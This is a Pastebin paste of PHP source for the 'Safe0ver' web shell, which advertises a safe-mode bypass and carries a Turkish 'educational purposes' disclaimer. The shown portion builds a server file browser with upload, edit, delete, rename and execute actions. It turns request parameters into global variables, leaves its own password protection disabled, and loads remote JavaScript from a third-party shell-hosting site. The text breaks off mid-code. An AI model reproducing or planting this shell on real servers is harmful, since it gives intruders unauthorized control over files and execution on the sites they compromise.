Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- ************************************************** ***************************************
- * Safe0ver Shell //Safe Mod Bypass By hqlan1908 *
- ************************************************** ***************************************
- * SheLLci.biz is a Platform Which You can Publish Your Shell Script *
- ************************************************** ***************************************
- !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
- !! Dikkat ! Script Egitim Amacli Yazilmistir.Scripti Kullanarak Yapacaginiz Illegal eylemlerden sorumlu Degiliz.byy
- !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
- */
- /*Setting some envirionment variables...*/
- /* I added this to ensure the script will run correctly...
- Please enter the Script's filename in this variable. */
- $SFileName=$PHP_SELF;
- /* uncomment the two following variables if you want to use http
- authentication. This will password protect your PHPShell */
- //$http_auth_user = "phpshell"; /* HTTP Authorisation username, uncomment if you want to use this */
- //$http_auth_pass = "phpshell"; /* HTTP Authorisation password, uncomment if you want to use this */
- $c = "/s.html"; //need scripts coder's names
- error_reporting(0);
- $PHPVer=phpversion();
- $isGoodver=(intval($PHPVer[0])>=4);
- $scriptTitle = "Safe0ver";
- $scriptident = "$scriptTitle By Evilc0der.com";
- $urlAdd = "";
- $formAdd = "";
- function walkArray($array){
- while (list($key, $data) = each($array))
- if (is_array($data)) { walkArray($data); }
- else { global $$key; $$key = $data; global $urlAdd; $urlAdd .= "$key=".urlencode($data)."&";}
- }
- if (isset($_PUT)) walkArray($_PUT);
- if (isset($_GET)) walkArray($_GET);
- if (isset($_POST)) walkArray($_POST);
- $pos = strpos($urlAdd, "s=r");
- if (strval($pos) != "") {
- $urlAdd= substr($urlAdd, 0, $pos);
- }
- $urlAdd .= "&s=r&";
- if (empty($Pmax))
- $Pmax = 125; /* Identifies the max amount of Directories and files listed on one page */
- if (empty($Pidx))
- $Pidx = 0;
- $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
- $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
- $scriptdate = "7 Subat 2007";
- $scriptver = "Bet@ Versiyon";
- $LOCAL_IMAGE_DIR = "img";
- $REMOTE_IMAGE_URL = "img";
- $img = array(
- "Edit" => "edit.gif",
- "Download" => "download.gif",
- "Upload" => "upload.gif",
- "Delete" => "delete.gif",
- "View" => "view.gif",
- "Rename" => "rename.gif",
- "Move" => "move.gif",
- "Copy" => "copy.gif",
- "Execute" => "exec.gif"
- );
- while (list($id, $im)=each($img))
- if (file_exists("$LOCAL_IMAGE_DIR/$im"))
- $img[$id] = "<img height=\"16\" width=\"16\" border=\"0\" src=\"$REMOTE_IMAGE_URL/$im\" alt=\"$id\">";
- else
- $img[$id] = "[$id]";
- /* HTTP AUTHENTICATION */
- if ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset($PHP_AUTH_USER) || $PHP_AUTH_USER != $http_auth_user || $PHP_AUTH_PW != $http_auth_pass) || (($logoff==1) && $noauth=="yes") ) {
- setcookie("noauth","");
- Header( "WWW-authenticate: Basic realm=\"$scriptTitle $scriptver\"");
- Header( "HTTP/1.0 401 Unauthorized");
- echo "Your username or password is incorrect";
- exit ;
- }
- function buildUrl($display, $url) {
- global $urlAdd;
- $url = $SFileName . "?$urlAdd$url";
- return "<a href=\"$url\">$display</a>";
- }
- function sp($mp) {
- for ( $i = 0; $i < $mp; $i++ )
- $ret .= " ";
- return $ret;
- }
- function spacetonbsp($instr) { return str_replace(" ", " ", $instr); }
- function Mydeldir($Fdir) {
- if (is_dir($Fdir)) {
- $Fh=@opendir($Fdir);
- while ($Fbuf = readdir($Fh))
- if (($Fbuf != ".") && ($Fbuf != ".."))
- Mydeldir("$Fdir/$Fbuf");
- @closedir($Fh);
- return rmdir($Fdir);
- } else {
- return unlink($Fdir);
- }
- }
- function arrval ($array) {
- list($key, $data) = $array;
- return $data;
- }
- function formatsize($insize) {
- $size = $insize;
- $add = "B";
- if ($size > 1024) {
- $size = intval(intval($size) / 1.024)/1000;
- $add = "KB";
- }
- if ($size > 1024) {
- $size = intval(intval($size) / 1.024)/1000;
- $add = "MB";
- }
- if ($size > 1024) {
- $size = intval(intval($size) / 1.024)/1000;
- $add = "GB";
- }
- if ($size > 1024) {
- $size = intval(intval($size) / 1.024)/1000;
- $add = "TB";
- }
- return "$size $add";
- }
- if ($cmd != "downl") {
- ?>
- <!-- <?php echo $scriptident ?>, <?php echo $scriptver ?>, <?php echo $scriptdate ?> -->
- <SCRIPT SRC=http://www.shellci.biz/yazciz/ciz.js></SCRIPT>
- <HTML>
- <HEAD>
- <STYLE>
- <!--
- A{ text-decoration:none; color:navy; font-size: 12px }
- body {
- font-size: 12px;
- font-family: arial, helvetica;
- scrollbar-width: 5;
- scrollbar-height: 5;
- scrollbar-face-color: white;
- scrollbar-shadow-color: silver;
- scrollbar-highlight-color: white;
- scrollbar-3dlight-color:silver;
- scrollbar-darkshadow-color: silver;
- scrollbar-track-color: white;
- scrollbar-arrow-color: black;
- background-color: #CCCCCC;
- }
- Table { font-size: 12px; }
- TR{ font-size: 12px; }
- TD{
- font-size: 12px;
- font-family: arial, helvetical;
- BORDER-LEFT: black 0px solid;
- BORDER-RIGHT: black 0px solid;
- BORDER-TOP: black 0px solid;
- BORDER-BOTTOM: black 0px solid;
- COLOR: black;
- background: #CCCCCC;
- }
- .border{ BORDER-LEFT: black 1px solid;
- BORDER-RIGHT: black 1px solid;
- BORDER-TOP: black 1px solid;
- BORDER-BOTTOM: black 1px solid;
- }
- .none { BORDER-LEFT: black 0px solid;
- BORDER-RIGHT: black 0px solid;
- BORDER-TOP: black 0px solid;
- BORDER-BOTTOM: black 0px solid;
- }
- .inputtext {
- background-color: #EFEFEF;
- font-family: arial, helvetica;
- border: 1px solid #000000;
- height: 20;
- }
- .lighttd { background: #F8F8F8;
- }
- .darktd { background: #CCCCCC;
- }
- input { font-family: arial, helvetica;
- }
- .inputbutton {
- background-color: #CCCCCC;
- border: 1px solid #000000;
- border-width: 1px;
- height: 20;
- }
- .inputtextarea {
- background-color: #CCCCCC;
- border: 1px solid #000000;
- scrollbar-width: 5;
- scrollbar-height: 5;
- scrollbar-face-color: #EFEFEF;
- scrollbar-shadow-color: silver;
- scrollbar-highlight-color: #EFEFEF;
- scrollbar-3dlight-color:silver;
- scrollbar-darkshadow-color: silver;
- scrollbar-track-color: #EFEFEF;
- scrollbar-arrow-color: black;
- }
- .top { BORDER-TOP: black 1px solid; }
- .textin { BORDER-LEFT: silver 1px solid;
- BORDER-RIGHT: silver 1px solid;
- BORDER-TOP: silver 1px solid;
- BORDER-BOTTOM: silver 1px solid;
- width: 99%; font-size: 12px; font-weight: bold; color: Black;
- }
- .notop { BORDER-TOP: black 0px solid; }
- .bottom { BORDER-BOTTOM: black 1px solid; }
- .nobottom { BORDER-BOTTOM: black 0px solid; }
- .left { BORDER-LEFT: black 1px solid; }
- .noleft { BORDER-LEFT: black 0px solid; }
- .right { BORDER-RIGHT: black 1px solid; }
- .noright { BORDER-RIGHT: black 0px solid; }
- .silver{ BACKGROUND: #CCCCCC; }
- body,td,th {
- color: #660000;
- }
- a:link {
- color: #000000;
- text-decoration: none;
- }
- a:hover {
- color: #00FF00;
- text-decoration: none;
- }
- a:active {
- color: #666666;
- text-decoration: none;
- }
- a:visited {
- text-decoration: none;
- }
- .style5 {
- color: #660000;
- font-weight: bold;
- }
- -->
- </STYLE>
- <TITLE><?php echo $SFileName ?></TITLE>
- <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></HEAD>
- <body topmargin="0" leftmargin="0">
- <div style="position: absolute; background: #CCCCCC; z-order:10000; top:0; left:0; width: 100%; height: 100%;">
- <table nowrap width=100% border="0" cellpadding="0" cellspacing="0">
- <tr>
- <td width="100%" class="silver border"><center>
- <strong> <font size=3><?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?></font> </strong>
- </center></td>
- </tr>
- </table>
- <table width=100% height="100%" NOWRAP border="0">
- <tr NOWRAP>
- <td width="100%" NOWRAP><br>
- <?php
- }
- if ( $cmd=="dir" ) {
- $h=@opendir($dir);
- if ($h == false) {
- echo "<br><font color=\"red\">".sp(3)."\n\n\n\n
- Klasör Listelenemiyor!Lütfen Bypass Bölümünü Deneyin.<br>".sp(3)."\n
- Script Gecisi Tamamlayamadi!
- <br><br>".sp(3)."\n
- Klasöre Girmek Icin yetkiniz Olduguna emin Olunuz...
- <br><br></font>\n\n\n\n";
- }
- if (function_exists('realpath')) {
- $partdir = realpath($dir);
- }
- else {
- $partdir = $dir;
- }
- if (strlen($partdir) >= 100) {
- $partdir = substr($partdir, -100);
- $pos = strpos($partdir, "/");
- if (strval($pos) != "") {
- $partdir = "<-- ...".substr($partdir, $pos);
- }
- $partdir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $partdir )));
- $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
- $file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
- }
- ?>
- <form name="urlform" action="<?php echo "$SFileName?$urlAdd"; ?>" method="POST"><input type="hidden" name="cmd" value="dir">
- <table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0">
- <tr>
- <td width="100%" class="silver border">
- <center> Safe0ver-Server File Browser... </center>
- </td>
- </tr>
- </table>
- <br>
- <table width="100%" border="0" cellpadding="0" cellspacing="0">
- <tr>
- <td class="border nobottom noright">
- Listeliyor:
- </td>
- <td width="100%" class="border nobottom noleft">
- <table width="100%" border="0" cellpadding="1" cellspacing="0">
- <tr>
- <td NOWRAP width="99%" align="center"><input type="text" name="dir" class="none textin" value="<?php echo $partdir ?>"></td>
- <td NOWRAP><center> <a href="javascript: urlform.submit();"><b>GiT<b></a> <center></td>
- </tr>
- </table>
- </td>
- </tr>
- </table>
- <!-- </form> -->
- <table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0" >
- <tr>
- <td width="100%" NOWRAP class="silver border">
- Dosya Adi
- </td>
- <td NOWRAP class="silver border noleft">
- Yapilabilecekler
- </td>
- <td NOWRAP class="silver border noleft">
- Boyut
- </td>
- <td width=1 NOWRAP class="silver border noleft">
- Yetkiler
- </td>
- <td NOWRAP class="silver border noleft">
- Son Düzenleme
- </td>
- <tr>
- <?php
- /* <!-- This whole heap of junk is the sorting section... */
- $dirn = array();
- $filen = array();
- $filesizes = 0;
- while ($buf = readdir($h)) {
- if (is_dir("$dir/$buf"))
- $dirn[] = $buf;
- else
- $filen[] = $buf;
- }
- $dirno = count($dirn) + 1;
- $fileno = count($filen) + 1;
- function mycmp($a, $b){
- if ($a == $b) return 0;
- return (strtolower($a) < strtolower($b)) ? -1 : 1;
- }
- if (function_exists("usort")) {
- usort($dirn, "mycmp");
- usort($filen, "mycmp");
- }
- else {
- sort ($dirn);
- sort ($filen);
- }
- reset ($dirn);
- reset ($filen);
- if (function_exists('array_merge')) {
- $filelist = array_merge ($dirn, $filen);
- }
- else {
- $filelist = $dirn + $filen;
- }
- if ( count($filelist)-1 > $Pmax ) {
- $from = $Pidx * $Pmax;
- $to = ($Pidx + 1) * $Pmax-1;
- if ($to - count($filelist) - 1 + ($Pmax / 2) > 0 )
- $to = count($filelist) - 1;
- if ($to > count($filelist)-1)
- $to = count($filelist)-1;
- $Dcontents = array();
- For ($Fi = $from; $Fi <= $to; $Fi++) {
- $Dcontents[] = $filelist[$Fi];
- }
- }
- else {
- $Dcontents = $filelist;
- }
- $tdcolors = array("lighttd", "darktd");
- while (list ($key, $file) = each ($Dcontents)) {
- if (!$tdcolor=arrval(each($tdcolors))) {
- reset($tdcolors);
- $tdcolor = arrval(each($tdcolors)); }
- if (is_dir("$dir/$file")) { /* <!-- If it's a Directory --> */
- /* <!-- Dirname --> */
- echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( "[$file]", "cmd=dir&dir=$dir/$file") .sp(9)."</td>\n";
- /* <!-- Actions --> */
- echo "<td NOWRAP class=\"top right $tdcolor\"><center>".sp(2)."\n";
- /* <!-- Rename --> */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement